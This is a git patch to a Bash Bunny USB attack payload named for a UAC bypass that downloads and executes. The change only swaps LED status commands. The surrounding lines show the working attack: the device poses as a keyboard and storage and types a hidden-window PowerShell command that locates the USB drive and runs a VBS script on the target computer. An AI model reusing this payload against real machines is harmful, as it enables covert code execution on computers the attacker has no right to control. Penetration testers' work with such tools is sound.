From 27332a9f14a5bf9ba504d3b47f50cabe6f555b17 Mon Sep 17 00:00:00 2001 From: theofandato <63935981+theofandato@users.noreply.github.com> Date: Thu, 7 May 2020 13:33:30 -0500 Subject: [PATCH] Use more standard LED commands (#415) --- payloads/library/execution/exe_UACBypassD&E/payload.txt | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/payloads/library/execution/exe_UACBypassD&E/payload.txt b/payloads/library/execution/exe_UACBypassD&E/payload.txt index a37dc4a8..32b26653 100644 --- a/payloads/library/execution/exe_UACBypassD&E/payload.txt +++ b/payloads/library/execution/exe_UACBypassD&E/payload.txt @@ -8,7 +8,7 @@ #Define your bunny storage stick name DRIVER_LABEL='BashBunny' -#RED means starting +#Setup LED SETUP #Gets File locations @@ -16,14 +16,15 @@ GET SWITCH_POSITION #We are a keyboard ATTACKMODE HID STORAGE - +#Attack +LED ATTACK QUACK DELAY 500 RUN WIN powershell -windowstyle hidden ".((gwmi win32_volume -f 'label=''$DRIVER_LABEL''').Name+'payloads\\$SWITCH_POSITION\a.vbs')" QUACK DELAY 1000 -# GREEN means finished -LED G +# Done! +LED FINISH #If you would like to bash bunny to shutdown/exit/dismount from the target system after execution, you can uncomment the lines below #QUACK DELAY 4500